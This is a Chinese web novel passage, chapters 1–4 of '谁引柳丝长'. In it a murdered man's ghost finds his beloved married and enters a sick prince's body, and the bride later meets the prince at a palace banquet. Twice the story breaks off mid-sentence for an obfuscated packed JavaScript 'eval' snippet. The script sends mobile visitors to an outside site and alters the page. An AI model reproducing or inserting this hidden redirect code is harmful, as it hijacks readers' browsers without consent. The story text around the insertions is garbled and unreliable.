《谁引柳丝长》 1. 遇害与新婚 “他是我的朋友,少编瞎话!” 他在愤怒中朝两人挥拳打去。对方不闪不避的样子激他使出了全部力气,岂料竟挥了个空。 他稳稳神,正待再提拳,却赫然发现自己躺在地上——那个伤痕累累,双目圆睁的家伙除了他还会是谁?——若那个是我,这个是谁?他再低头看自己手脚,发现身体成了飘忽的一团,如在梦中一般看不清楚。 我死了?!不久前,他还浸在逃离生天的喜悦中,如今,只余满腔不可置信。 那两人捡起锄头,照手心吐了口唾沫,再不发一言,开始掘坑。 “为何害我?你们受谁主使?快答!”魂魄忘了刚才的挫败,又一次捏紧拳。锤头般的拳落在人身上,就像风滑入草丛一样。 “人鬼殊途,省省罢。” 魂魄回头,见身形一大一小两个鬼,貌极丑,四只手里提一根长索。“你已成了鬼魂,连张影儿都不如,一团气罢了,与他们活人有甚计较?”话从那个大的嘴里出来。 果真死了。谁与我有如此深仇?魂魄胸中涌起怒气:“我受人陷害,非得问个明白。” 二鬼咧着嘴:“冤死者日日都有,阴间却讲公道。不用多言,若你三清四白,下辈子能投个好人家。别耽搁,快走罢。” 她怎么办? 魂魄大喊:“不行,我要先去京城见一个人。”见二鬼口内鲜红的舌头又要抖起来,他急忙补上,“足下请行个方便。” 索命之鬼从不通融。“禹冲,阳寿二十三年四个月零二日,光棍一条,阳世再无亲人,还需看谁?” “没错,我再无亲人。”禹冲的魂魄悲道,“有位姑娘,原本我定会娶她。她于我比亲人更要紧,我要去看看她。” 小鬼说:“恐怕早就另嫁了,即便还念着你,也是容颜憔悴。无论哪样,你都无能为力,有何益处?” “无论哪样,我只求看她一眼,也就放心了。” 大鬼斥道:“死都死了,还你一眼我一眼,谁敢这样多事?”持索来套禹冲。 禹冲一挣竟挣脱了,怒道:“若不许我去,进了地府,定要搅得你们阴司难以安宁。” 小鬼把大鬼拉到一旁,发愁说:“我第一次办这差事,不知人变了鬼还如此难缠。若他真搅了地府,七爷八爷一怒,会不会拿我们下锅炸一炸?” “反正还能宽出些时候,到京城不过两千八百里,何妨走一遭。”大鬼扭头对禹冲说,“看了,须老实跟我们去,不得再生事。” 二鬼一左一右架了他。禹冲只见眼前道路迷离,只闻耳畔呼呼风响,冷不丁,一堵墙迎面扑来,慌忙闪避,鬼判将他一扯,毫发无损穿了过去,几番后他便习惯了。途中歇过几回脚,总共没耽搁半盏茶工夫,一次碰到人在屋内说话,听了几耳朵,本来不干己事,可“荥阳”二字不免让他一惊;又知是到了黄河下游,一估算,惊诧未已,就见泥黄的浪涛卷来,鞋袜却分毫不湿。田地、山峦飞速向后退去,再一回神,面前现出雄伟壮丽一座大城,满城缀着宝石般的点点灯火。原来已到天子脚下,那金银流淌之地,幻梦沉浮之都,红尘中第一等热闹繁华的所在——金陵。 禹冲熟悉此处,一进城门,甩开二鬼,直奔生前不知去了几多回,九百个日夜日思夜想的地方。 她喜欢亮堂堂,但又节俭,晚间若不看书,应是只点一盏小灯,放着馨香的光,要是和家人在一起,还会有笑语传出来。 那扇窗上黑忽忽的,整个院子都是黑的。她搬家了? “快去醉月楼,好酒尽够。”巷中几个酒鬼呼朋引伴。 “图大爷怎么大方一回?” “得了个玉堂金马的妹婿,还不得意?多灌他几钟,三日后回门,又是一席。” 禹冲一下子呆住,原来她真的嫁了人。 他想在她一个人时看看她,她却偏偏今日成亲,偏偏今日! 街坊们满口称羡,想必是嫁去个好人家,禹冲却辨不出心里是慰藉、是悲凉。 太阳不知已沉到哪儿去了,举目四望,一片阴阴惨惨,昏昏冥冥。二鬼立在远处看他,似有取笑之意。 禹冲也不在乎,又寻思:也罢,她好就行,不必再去瞧了。既来一趟,不若顺道看看他。有人诬他害我,说不定还要对他不利,有什么法子提醒他? 禹冲朝另一条街巷奔去。这里却十分热闹:院墙上贴着大红喜字,门前轿马喧哗,早归的宾客们大声道着吉利话。 原来他娶妻了,这个满脑子要做学问、无心成家、甚至不惜向父母谎称自己喜好龙阳的家伙竟也转了念头。怪哉,今天到底是什么黄道吉日,怎么都忙着办喜事? 突然,禹冲全身一晃。 他慢慢、慢慢地向着新人的屋子移去。 帐内的对话非常模糊,只能听出丈夫低低哄慰,妻子间或答几个字,语调比柳丝还娇软,比柳絮更无力。 床边搁一只脸盆架,一条帕子半搭在盆沿上,滴滴答答向地上砸着水珠;桌上一对红烛,流着血一般的泪。 “你听,是谁?”新娘子一下子坐起身。 床帐被挑开一指宽,旋即合拢。“什么也没有,大概是烛火跳了一下。”新郎官说。 她歉意道:“我也不知今天是怎么回事。” “没事,你是太累、太紧张。”顿了顿又说,“是我紧张,每一刻我都紧张,就怕出差错。” “这不是好了么。”她轻声说。 “对,我真高兴。”他长叹一口气,“若是他还在,我便真的万事皆足了。” “谁——你说他,你还会想他?” “怎么不会,我不是告诉你让人去找他的坟了,大概最多一个月,该有信了。我想要把坟修一修,将来我们或许一起去祭奠,不然想到他孤零零埋在那儿,我总是难安。” 那做了妻子的久久没有应声。 “要不是他一时冲动犯了过错……唉,可他还是咱们的骨肉朋友。” “不要再提他了!”她用不耐烦的声音喊。 “好,好,不提了。”禹冲听见他那昔日好友无比温柔地问,“刚才疼得那样厉害?” 那新妇也变得温柔了:“没事,当时疼,这会儿好多了。” 禹冲失魂落魄冲出来,他的胸中已没有一颗心在跳,连盛着心的胸膛都没有,可是那儿仍然会痛。 为了热闹,到处都点着灯,在禹冲看,却比黑暗更凄凉。他要找一样东西做证据,还不知是什么,浑浑噩噩的脚步已把他带到书房。他马上想起,自己根本无法翻找。他只能向书案上摊开的纸张望一眼,当即认出那幅图,不禁冷笑连连。 “该走了!”二鬼突然立于面前。 禹冲扭身狂奔。城内道路他烂熟于心,另又加上穿壁钻墙的本事,却无法甩脱一对追命鬼。他没头苍蝇般乱闯,面前忽现极大一片金光,如一堵高高的火墙,只稍稍靠近,便觉灼热不堪。 禹冲五脏俱焚,恨不得一头扎进大海,亦不惧地狱的烈火。——干脆就烧化在这里,他向金光冲去。 原来火墙并不厚,里面是座院落:不知住着——关着谁,只见各处都有兵卫把守、巡逻。 禹冲自是不怕,看鬼判没跟上,向屋檐一坐,试图冷静下来。 小鬼在外头呲牙咧嘴,咝咝道:“哪个神仙布的阵,他怎生穿得过?是不是有道缝?咱们慢点,看能不能挤进去。” 大鬼拽住他:“你不看看是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白影打量他一会儿,说:“我也是被人所害。我兄长为我封住了这里,鬼神皆不得进来。唉,他是好心,却办了坏事。两年多了,我每日试着要回到我的身体,试着要出去,皆不能成。我既不能活又不能死,外面的一概事情全不晓得。只有我的祖母和兄长进来过,我只知道她——和我有约的那位姑娘已经死了。我们说过要在奈何桥下相会,同去投胎,下一世再见——我早已不再想报仇,只求能赶赴约定。今日就是最后一日,所幸布下的界给你冲开,我能走了。” 禹冲听他活活被困在这里,实在比自己更惨。可他很快就能和心爱的姑娘会面,对方不计生死等着他,这样一想,自己却又比他可怜一千倍。 “兄弟,你别发愁,你救了我,我尽力为你想个法子。”白影来回慢慢飘着,手指点在额角,“倒有个办法,不妨一试。” 禹冲焦急:“你是什么人,有什么法子?若能让我报仇雪恨——” 白影摆摆手:“没工夫细讲。你的事我也无需问,只知道你能让我投个好胎便成——你若带一丝邪气,进不来。至于我——等你醒来自会知晓。那时你也得千万小心,这些人虽无歹意,但——唉,你知道仇人是谁,总比我强得多。料你自有胆智,不消我多说了。此事行不行还得试了看,你来。” 白影转身便走,禹冲紧随他进入一间大屋。 “那儿——”白影指指一张金丝楠木大床。两个婢女一头一尾守在床边,坐在绣墩上,脑袋向胸前一点一点,正打瞌睡。床帐半卷起,禹冲凑近去瞧,见一年轻男子合目静卧:身躯消瘦,面颊凹陷,脸色苍白,然而眉飞入鬓,修目微扬,鼻梁英挺,嘴型俊秀,从面相看超凡脱俗,实乃人中龙凤。 “原来你是——”禹冲猛然醒悟。 “去罢。”白影自后将他一推,魂魄从半空跌下,直扑到躺着那人身上。 2. 宫宴与绿衣 编筐编篓,全在收口。 柳乐正给婆母编蒲团,心里默念着这句话。丈夫不在家,她这个新媳妇可不好当,好在她渐渐摸透了婆母的脾气,只要多做事、听话、少回嘴就没错。 蒲团总算编完了,累归累,她也不肯马虎,要把彩线和蒲草扎紧,结还不能打得粗蠢,很费了一番气力。剪掉绳头后,柳乐笑了,甩甩手腕,伸了个懒腰。 “二嫂。”小姑计晴连蹦带跳跑了来,“你听到没有,太皇太后七十四寿辰,官员和家眷能同去,大哥说宫里几年没这样大的宴席了。” 柳乐随口问了句:“不是逢五逢十,还过七十四?” “可能今年高兴,不是说……”计晴支吾,“管它是不是整寿,咱们还敢不去贺?这次爹爹一定带我。二嫂你也去。”她撺掇柳乐,因为奔跑和兴奋,脸上红扑扑的。 “我就不去凑热闹了,太皇太后是想看看姑娘们吧。”柳乐醒过来。 “说什么呢。”计晴扭身跑了。 柳乐不禁想笑。这几天婆母董素娥挂在嘴边的就是这事:晋王病愈,被好些人看见骑着马,仍和原先一个样。 听得多了,柳乐对晋王比对自己的表亲还熟悉:他是先帝最小、最得宠的儿子,因他天资聪颖、相貌英俊,亦因他的生母是先帝最宠爱的贵妃。说起来,这位贵妃又与先帝的皇后、当今太后是同姓姐妹——她们都出于京城最古老的家族,谢家。 柳乐就是对这点感到别扭。怎么亲姐妹嫁给同一个人,哪怕对方是皇帝呢。怎么有那么些人偏想嫁皇帝、王爷?真不如嫁到普通人家开心。 晋王先前与谢家二姑娘、他的表妹定了亲,但晋王生了一场重病,一躺就是两年多,太后做主把亲退了。董素娥直替谢家肉疼,柳乐却认为谢二姑娘没什么好惋惜的。不过她亦被勾起了几分好奇:王爷要重新选王妃了,这回会落到哪一家? 当日晚间向婆母问安时,寿宴之事果然被再度提起。原来这回五品及以上的官员都可以带宅眷赴宴,柳乐的丈夫计晨是工部员外郎,不多不少正是五品。 柳乐低声道:“我不去了吧,晨大哥又没在家。” “胡说,这还推得?”计家太太董素娥喜气洋洋的脸立即板起来,“你父亲说,皇上特意向他说,搅了晨儿的新婚,心中不过意,要你去,说不定太皇太后还召你近前说话呢,这可是天大的脸面。” “嗯。”柳乐应一声。 “到时你看罢,如你这般年纪的,都是随着父亲去,仰丈夫之名的,只怕就你一个。说起来也是晨儿争气,要不然皇上能在御书房留他谈了一夜话,第二日就提拔他,派他去荥阳?” “娘,自打二哥出门,这话你每天都讲。”计晴说。 “不多讲几回你早忘了本了。”董素娥瞪她一眼,“你当千金大小姐容易做的?都是托赖你父兄。” 董素娥转头又和老大媳妇细数京里哪些姑娘够资格去,柳乐趁人不注意,悄悄挪挪脚。饶是身子骨结实,站这么大一会儿也怪累的。 忽听婆母说:“衣裳是大事,可不能马虎。” 柳乐明白是说赴宴的装扮。在宫里肯定站得更久,更累人,她正不想去,只愁没个借口,便说:“来不及做新衣,我还是不去了,我给晴妹妹做条好的。” “又不是裁缝,自己做的衣服死板板的,穿着不打眼,白浪费了好绸缎。”计晴并不领情,立即说。 董素娥也不高兴:“怎又说不去?我记得一进门就给你添了好几件。” 只有两身,且那时节衣裙都厚重。柳乐说:“我就穿那件蓝缎裙子吧,绣金枝绿叶的。” 董素娥想了想:“算了,你和晴儿上四锦堂,一人买一条。” “至少五十两,下了血本了。”大媳妇高娴惊呼。 董素娥瞪她一眼:“春儿连日辛苦,你去让他早点儿歇下。”又向计晴说,“你也睡觉去。” 计晴这时喜笑颜开,可能后悔刚才的话不中听,走前朝柳乐一笑。 只剩柳乐时,董素娥说:“别怪你嫂子有气,可能我是偏心晨儿和你。当初为他进工部,花了这个数。”她竖起五指。 计晨工部的差事是花钱得来的?柳乐这才头一回听见。 “你不知官场里的规矩,光凭自己哪成?虽说晨儿有本事,要出头,不知熬到何年何月了。他又有那个志向,一心要进工部,才托了人,送了银子。也不亏,这不,就叫皇上看见了。等这趟差办好,得的赏何止几百?”董素娥说。 柳乐点头。她并非那样清高死板,对此类事深恶痛绝,何况这与拿钱买官不同,计晨是有真才实学。刚才一瞬,她心里不舒服,是因为计晨没有亲口告诉她。 她马上想到:成亲第二日他就出了门,有那么多重要的话,哪里来得及说这个? 不是晨大哥不坦率,也不是他不信我,他要是听见,还要怪我不信他呢。柳乐暗暗笑自己。她又想:不能怪大嫂不满,等晨大哥回来,一定尽快把五百银子还给家里。 . 四锦堂是京里数一数二的绸缎庄,店堂又大又深,临街门面卖绸缎,衣裙都挂在后院,因样子多,衣料贵重,颇得富贵人家光顾。 柳乐和计晴正向后走,见有人出来,往旁边让了让。 一位少女被数名仆妇丫环簇拥着,姿容耀目,仪态雍容,好似嫦娥出蟾宫。看见计晴,少女的剪水双眸转过来,朱唇轻启,露出一点微微的笑。 等她过去,计晴伸手拉柳乐一下,悄悄说:“这是谢家五姑娘。” 一眼之下,柳乐已觉得她容貌极美,又听是谢家姑娘,连忙回头再瞧,见她乌发垂肩,背影清丽婀娜,像株虞美人似的步出门外去了,然而还留下了沁人的香气,满院萦绕不绝。 “都说她比她二姐生得更好。”计晴说。 柳乐叹道:“怪不得都夸她,我还没见过谁长得这样美。” “她耳朵不好看,总要用头发遮住。”计晴咬着柳乐耳朵说。 “耳朵?”柳乐一愕,笑道,“耳朵有什么要紧,不好看,好使就行,当心人家听见。” 没走几步,计晴又碰见一位相熟的姑娘,被拉到一旁说话,柳乐自己先去看衣裳。这里每一件衣裙都如云似霞,轻、薄、软、妙,柳乐几乎件件都喜欢,却迟迟选不出来,因为总找不到最朴素那件——倒不是她生性爱素净,而是担心银子花得太多。 拿五十两银子购衣衫,难怪高娴嘀咕,柳乐自己也觉得实在过费了:先前计晨薪俸不过十八两,涨到三十两还是在升为员外郎之后。 更不必说出嫁前的日子:若嫂子每月手里有这么一笔钱,安排全家的衣食就用不着煞费苦心;母亲可以舒舒服服去别人家听戏,不用发愁回请;父亲能买喜欢的书和字画,不用无奈地对两个孙儿解释鱼和熊掌不可兼得的道理;哥哥不会得了好酒舍不得喝、一门心思要拿去巴结人;姐妹两个能同时裁新衣,且不必拿尺子颠过来倒过去地比划;侄儿们的叫喊都能更欢快些——五十两银子,至少够他们全家过一整个月,宽宽绰绰的,在这儿最多只能买两条裙子。 “没一件和朴素沾边儿。”柳乐自语。 “这个会不会太艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648596|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?”计晴也来了,捧着一条桃红宽襕裙。 柳乐一瞧:“我看很好。” 这时,她自己也发现了一条绿纱裙子,怕它跑了似的,先屏住呼吸,不敢惊动,然后才伸手,小心地抓在手里。 柳乐很喜欢绿色。这条裙子的颜色是一种她还没在布料上见过的、清澈明亮、像翡翠那么美的绿,上面又用嫩柳色的丝线绣出一些花纹——除了深浅不同的绿色,整条裙子没用其它任何色彩装饰,却显得华美,说不出哪儿很别致,很不一般。 穿上就知道了,她心想。 她和计晴进了专供试衣的房间。屋子布置得整齐,像小姐的绣房,自然少不了一面大铜镜。 柳乐几乎用不着丫环帮忙,手一展,裙子仿佛自己飘到了她身上。 她向计晴转过身,还没开口,计晴脸红红地说:“你可真美!我要是个男人,肯定要娶你。” “那我就嫁你。”柳乐玩笑道,一面看着镜中的自己。裙子不宽不窄正贴住腰身,柔软轻盈,像生得茂盛的一丛枝叶,自然而然地倾泻而下。不禁令人起疑:这衣裳本来便是二月春风绕着她裁出来的。 “那二哥可要伤心死了。” 柳乐脸也有点红,她假装没留意,对着镜子轻轻转了半圈。裙角如雾一样散开,扬起来,不等她停稳,又已经落回她的脚面。 天底下没有一个姑娘穿上一件衣裳,会瞧不出它衬不衬自己,也没有一个姑娘穿上最衬自己的衣裳,心内的得意会不像此刻的柳乐——她的脸容是严肃的,乍一看不带半点笑意,可是确实有一点骄傲的笑影,像火星子在她的双目中闪闪发光。 计晴的目光呆呆随着柳乐的动作:“她们奇怪二哥怎么突然娶了你,——那是她们没瞧过你这个样子。等你把这裙子一穿出去,肯定惊得谁也说不出话。” “瞎说,”柳乐笑道,“等大家都穿上新裙子,谁还能看见我?” “才不是,我看别人穿得再好也赶不上二嫂你好看,谁都没有你这样的身段。”计晴羡慕道。“二哥回来,你一定要穿这件,让他瞧瞧。” 这下柳乐不能再装作没听见,她的脸真的红了:“那我就买这件?快给你也挑件好的。” “就这个,这个只能你穿,你皮肤白。先别急着脱,等我换上一起看看。你要不是我嫂子,我才不和你一道站着,我都要嫉妒你了。”计晴像小孩子一样嘟噜起嘴巴,随即又笑,“我真高兴你是我嫂子,除了你,谁给我做二嫂,我都不愿意。” 最后,计晴选了一条樱桃红间银条纱裙子,预备配着她的水蓝衫儿穿。得了新衣总是欢喜,回到家,计晴又来找柳乐。 “二嫂,你知道今天谭姑娘告诉我什么:她的祖父是晋王爷的老师,她说晋王爷病虽好了,可是忘了事,连太皇太后、太后、皇上都认不得了。” “他变痴傻了?”柳乐有点吃惊。 计晴连连摇头:“那倒没有,说他谈吐还和过去差不离,只是不记事。还说他生病是为一位姑娘伤心的缘故。你说这次宫宴……” 由不得柳乐感到离奇:“莫非请这么些人,是想要晋王爷看见那位姑娘,记起往事?” “不是不是,据说她身份很低,大概是谁家里的婢女之类,根本够不上赴宴,而且她可能已经死了。” 可怜的姑娘。柳乐暗自叹息。而晋王爷回避伤心的办法竟是把一切都忘了。不,我不能忘,哪怕自己痛苦,也好过忘记爹娘…… 她听见计晴用细不可闻的声音说:“在宫宴上,他和所有人才是重新结识,你说晋王爷会碰见哪一个?” 3. 醉酒和弓箭 上寿之日,紫金山行宫。 文武百官依次入殿拜寿,柳乐跟在众人后面依样行礼,不敢抬头四望,只听见了太皇太后和蔼而不失威严的话语。 过后,入席落座。殿前立了歌舞台,百官坐于台子南面,家眷们坐于两侧廊下。计家的一桌靠后,更瞧不见大殿内几人的模样。在殿外候过多时,柳乐早就饿了,发现宴上的饭菜倒合口,遂慢慢品尝。 殿堂之下舞翻彩袖,酒泛金波,鲜花插艳,异果堆香,珍馐玉液一共献了九轮,其间除了歌乐和礼官看盏的唱令声,再不闻别的声响。柳乐向两面看看,不禁暗暗好笑。她想计晴那样日盼夜盼,光为绣鞋上到底要不要嵌珠子就头疼了好几晚,其实也只能端端正正坐着。那晋王不知身在何处,不知是不是瞧过了赴宴的诸位小姐。 若是不瞧,似乎对不住姑娘们一片景慕,可若是瞧了,心里免不了品头论足一番,却又更不好。 这样一想,柳乐觉得先不论晋王人物,仅凭他高高在上一项,就令人生厌。 但她随即想起曾见过晋王一回,姑娘们因他脸红心跳,实在情有可原。 那日她和禹冲踏青游玩——禹冲给姑父上坟,她的哥哥陪嫂子祭扫,两家约着雇辆大车一起去。郊外踏青的人多,有一程大家分开,她和禹冲单独在山明水秀之中漫步,忽闻路人叫喊:“快看,打那边过来的不是六皇子么?” “已经是晋王爷了。” “怎么还留在京里?” “太皇太后舍不得他去。” 听着议论,她好奇地扭头:一位翩翩公子头戴玉冠,身着白色箭袖,跨在一匹纯白骏马上,从远处而来。他并不像寻常王孙那般纵马飞奔,而是放辔缓行,姿态十分潇洒,胸前的银线绣蟒在日头下闪着亮光。 近了瞧,六皇子面如朗月,目若灿星,英姿勃勃,顾盼生辉。一路上的人都看得呆了,也包括她自己。 禹冲拽她一下:“看他做什么,别看!” 她故意赌气,直到晋王爷走得不见了,才转头,“怎么不能看,我喜欢看。” 禹冲绷着脸,“你喜欢他?” “喜欢。” “他哪里好?” “好看。”瞧见禹冲眼里黑沉沉的,她偷偷忍住笑,又说,“看到好看的谁不喜欢?就像看星星月亮一样。” 禹冲听了更不高兴:“你把他比作星星月亮?” 她好气又好笑:“他是皇子、王爷,我是民家女儿,我和他之间相隔着的,可比到星星月亮还远多着呢。” “那些算什么阻隔?”禹冲的话音是冷冰冰的不屑,眼睛可是认真看着她,“你就说,假若他喜欢你呢,——你会去喜欢他?” 她更要发笑:“你瞎想什么!他干嘛喜欢我?——我长了十八年,头一回遇见个比你好看的人,还不许我多看几眼吗?” 禹冲神色稍稍缓和下来,“可是你刚才看得那么专心,好像眼里只有他一个,好像把他看到心里去了似的。” “我看谁都是那样。”她不服地说,“改天碰到一个美貌姑娘,只要她不生气,随你把她看到眼睛里,你瞧我会不会这样小气,这也不许那也不许。” “一点儿都不公道。”禹冲小声说。 “哪里不公道?” “天底下根本就没有比你好看的姑娘。” 听到这话,她心里甜滋滋、蜜润润的,说:“我也觉得他没你好看,不过是瞧他衣裳好。等你哪天也骑一匹骏马,一定比他还得意。” 她还想说:“其实他现在也不如你得意,我瞧他好像有心事似的。”的确,不知为何,当时她觉得晋王隐含忧愁——并非从面上显出来,他的神情是很闲适的,再说他贵为王爷,风华正茂,能有什么忧愁,所以她以为是自己的错觉,便把这话丢开不提。更何况,那时他们多么欢喜,哪有闲情去猜旁人的心事。 那时多么欢喜,哪知几个月后,禹冲他…… 心中正自乱想,柳乐感到董素娥向她一瞄,忙收敛思绪。这当儿,间或有一名宫人手捧金盘玉盏,同一名太监自殿内出来,行至某一桌旁,高唱“太皇太后赐酒某某人”,已有不少人领了赐。柳乐留心听那些官员名姓职位,不一时,却见宫人来到自己面前,太监唱道:“太皇太后赐酒工部员外郎计正辰夫人。”柳乐忙站起身,垂首接了,对着大殿行礼遥拜,将酒杯捧至嘴边。 她不惯饮酒,先前几轮酒,不过在唇上沾一沾便悄悄倒掉,这时许多人望着,又有宫人等着收走酒杯,不得已,只好一气喝完。不想那酒甚烈,像颗火苗从喉咙簇簇燃下去,又由下至上把整个身体都烧起来,她顿觉头晕目眩。宫人刚转身,柳乐赶忙坐下灌一口冷茶,握住桌沿,免得失态。好在这时太皇太后驾兴回宫,百官们起身恭送后,纷纷离座,找相熟的人谈笑。姑娘们不喝酒,都向外面去逛了。 柳乐和计晴也出来透气。四面青山翠谷,看哪里都好,两人第一次来,虽不熟悉,但计晴左顾右盼一阵,立即拿定主意:“你看她们都往山上走了。” 于是她们跟着三三两两花枝招展的身影,迤逦往高处行来。 这行宫建在紫金山山麓上,正殿之后是皇家林苑,依山而起。抬头望,座座宫阙插于浓荫之中,只露一角朱檐黛瓦,在艳阳下熠熠闪耀。时不时,一只孔雀或锦鸡从树冠上斜飞而下,长长的尾巴如罗缎彩幡拖在身后。 一队宫女手捧茶壶,朝大殿方向走去。经过二人时,行在最后的宫女指着小山头上一座亭子说:“那边备了茶,两位贵人若想歇歇脚、醒醒酒,只管去坐。” 两人连忙谢了。柳乐行了这几步,酒却没醒,愈发觉得心里突突的,听见话就要过去。计晴却不愿意:“还要走好长一段才上去,那里又看不见什么,前头未必没有歇脚的地方。” 柳乐只好说:“刚才喝那杯,头晕得很。你先往前走,我略坐一坐。” 计晴顿足叹息:“二嫂你酒量怎么这样小。那我先追她们去了。” “快去吧。”柳乐忙说,“等下我去找你们,或者就在亭子等你们回来。” “要是找不见,你回去娘那边,让她别急。”计晴伸直脖子一望,快步去了。 柳乐走上亭子,果有两名宫女守着一只红铜风炉,水刚沸,发出微微声响。她倚柱坐下,待茶汤煮好,慢慢地喝了,再向周围看,满山的树如一片绿海,几道薄而亮的云,像刚挂上的小帆,悠悠地从山峰后驶出来。 终究谁人能如云朵一样自在,柳乐想,瞧得入了神。小宫女抬头对她说:“上面有湖,游玩的人都去那儿。你走这条路,很近,穿过那片林子,出去就到。” 柳乐愿意留在这儿赏风景,只是她们不停歇地煮茶,恐怕随时还有人来,和陌生人大眼瞪小眼就无趣了。她道了谢,顺着指示的小路行去。 山林幽静,树枝葱绿,柳乐愉快地爬坡,鼻端萦着草木的芳香。冷不防唰一下,一道长影掀着风掠过,她一踉跄,定睛再看,原来是条孔雀落在面前,冲她展开尾巴。 柳乐大喜,和它跑着玩了一会儿,没留意树木愈见稀疏,前头愈见光亮,不知不觉已到了林边。 孔雀忽向前飞,柳乐也跟着一气冲出树林,却猛地煞住脚。两丈开外站着一个男人,手举弓箭,做出瞄准的姿 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柳乐看他一本正经摆出演习箭术的架势,却又胡乱瞄准,固然有点好笑,但她私自闯入人家的地界,何况还是行宫中,也确实僭越。“我从那边回去。”她略带歉意说。 “去吧。”晋王打声呼哨,那只步步跟在他身旁的孔雀竟听话地飞去了。 “不是说你,那里你也走不得。”他叫住柳乐。 “请教我可以走哪边?” 晋王好像没听见,望着山峰出神了片刻,居然扭头正色向柳乐谈起话来:“射鹿要一箭命中它的脖子,这儿。不然看鹿儿挣扎,实在太过残忍。” 他一边说一边抬手向柳乐的脖颈处比划,好像她真的是一头鹿。 柳乐微变了脸色,晋王还在说:“我是为秋猎准备。我还是想猎虎豹,不过若真猎到鹿,也可算作是额外的彩头。——这样还是捉活的好,射它的腿,力道不能太重。”他低头向柳乐的脚瞄了瞄,“——就可以在花园里养着玩了。” “我不懂。”柳乐生硬地回答。 晋王笑笑,目光这时移到她脸上,好像刚刚才看见她这个人。“你似乎有点面熟,你叫什么名字?”看她不答话,又问,“你想不想知道我的名字?” 柳乐被问得愣了。她没想到堂堂一位王爷,看上去也是神仙一流的人品,一开口不是疯疯傻傻,就是像街上那些游手好闲的无赖浪荡汉,忍着鄙夷道:“民妇柳氏,未曾有幸见过殿下,不敢妄听殿下尊讳。” “原来你认得我,要么是认得我的衣裳。”晋王笑着掸了掸衣襟,“柳什么?我问的是你的名字。” “民妇名姓微不足道。” “好吧,那便是柳氏。柳,柳……”他嘴里反复念几声,突然发问,“‘纵使长条似旧垂,亦应攀折他人手①’的那个柳?” 柳乐心里怒极:“民妇野草一般,无谓攀折不攀折,亦不配殿下拿来比典故。” 在她说话时,晋王一直仔细地盯着她看,这时又笑一笑,往她腰身上扫了一眼,赞许的目光随即回到她脸上,“我看你很配得上这个柳字。——你和谁一起来的?” 柳乐被他的眼睛盯得难受,微微低头答:“民妇是工部员外郎计晨的宅眷。” 她自小就听人唤他计晨,习惯了,忘了该称他的表字,不过官员里姓计的也不多。“计晨,计晨……”对方又在嘴里念叨这个名字,想了起来,说,“原来是上回那个二甲榜首,年少有为、才兼文武的计公子。——原来你是他的妻子,倒真是一双才子佳人。” 4. 不怨和怨 “请殿下容民妇告退。”柳乐抬起头,后退一步,用轻柔而清晰的声音说。 “着急什么,你们这就回去了?”晋王反而向她又跨一步,奇怪道。“噢,我想起来了,——计员外郎不在这儿。我说瞧你满脸不高兴。唉,刚刚成婚一日,就被迫抛下新婚妻子去督建什么水坝。为一堵石头墙把你们夫妻拆开,真是一点儿不体谅人情。这都是皇兄之过,我代他赔个罪罢。”说着,晋王随随便便作了个揖。 柳乐闪身避开。“修建水坝是有利民生、造福黎庶的大事,岂能因区区家事而拖延。家夫幸得此重用,上可报君父眷爱之恩,下可酬己身为民之志,民妇亦与有荣焉,绝不存埋怨。” “好一篇话呀。”晋王笑道,“这大概是你早就准备好了,原本要向太皇太后、或是皇太后、或是皇后讲的吧。对我,你大可以说实话。——当真不怨?” “不怨!”柳乐掷地有声地说。别人是斩钉截铁,她是把钉子咬碎了唾在他面前。 “也不想念他,盼他早日回来?” 与你何干?柳乐在心中怒斥。“民妇惟愿家夫不负众望,办好公事,而后平安还家。”她说。 晋王说不上是钦佩还是怀疑地瞅着她,“你这样明大义,更让计员外郎觉得对你有亏欠吧?” “民妇不懂大义,只明白简单的道理:事有轻重缓急。计员外郎以国计民生为重为急,民妇深以为然。何来亏欠一说?” “要排出个轻重缓急可不简单。”晋王摇着头说,“照我看,没有任何事能让人抛下新婚的喜乐。” “计员外郎与殿下见解不同。”柳乐淡淡道。 “像计员外郎这样兢兢业业的官员的确不多见。”晋王思索着说,“不过,就算要如此分轻重缓急,其实他本来可以带着你的。只要向皇上提一句,未必不允,这有什么?如此他也不用急着回来,安心在那边待上三年五载,看水坝建好,岂不两全其美?或者一时措手不及,等一两个月再要你过去,他没做这个打算?怎么都好过把你一人丢在他家里侍奉他的父母,你说呢?”他飞快地瞥一眼柳乐,“计员外郎当然不会在外头乱来,他肯定也想带你。——会不会是他怕你在身边对他是种缠扰,怕你拖累了他,害他干不好公务,让人说他难堪大任?” “家夫不会想那么多,他只是……”柳乐住了口,赫然发觉自己竟在一个陌生人面前为计晨辩解。 可不就是陌生人——他没见过她,与计晨也不会有交情,最多就是彼此认得出而已,不然,即便计晨自己不说,董素娥绝不可能一字不提。——跟他有什么好辩,何况他明显不屑相信。 她福了福身,“多谢殿□□恤。待家夫回来,民妇一定转告殿下关怀之意。” 晋王阴沉下脸:“你不妨转告他,我认为他太阿谀,你太曲从。” 柳乐的一阵冲动是立即掉头走开,哪怕迷路也好过忍受他的放肆言语。 晋王立即瞧出她的意思,“先别忙,走丢了真不是好玩的,你可能会被当作刺客。——能走到这里,算你命大。” 柳乐知他是故意吓唬人,但也包含一两分实情。万一误入禁地,真惊了谁的驾,虽说未必拿她怎样,可也就算尴尬了。而她也绝不愿向这个人开口问路。 她不禁露出一点犹豫的神色,晋王趁势劝道:“我叫人为我取东西,差不多该回来了,你稍等一等,到了后要他送你出去。” 柳乐便站着不动,但将身子转向一旁,不肯再与晋王多话。 晋王却踅到她面前,“你可以和我多说一会儿,放心,没有人会来这儿,今日的一切绝不会传出去,你我都不吭声,就再无人知晓。” 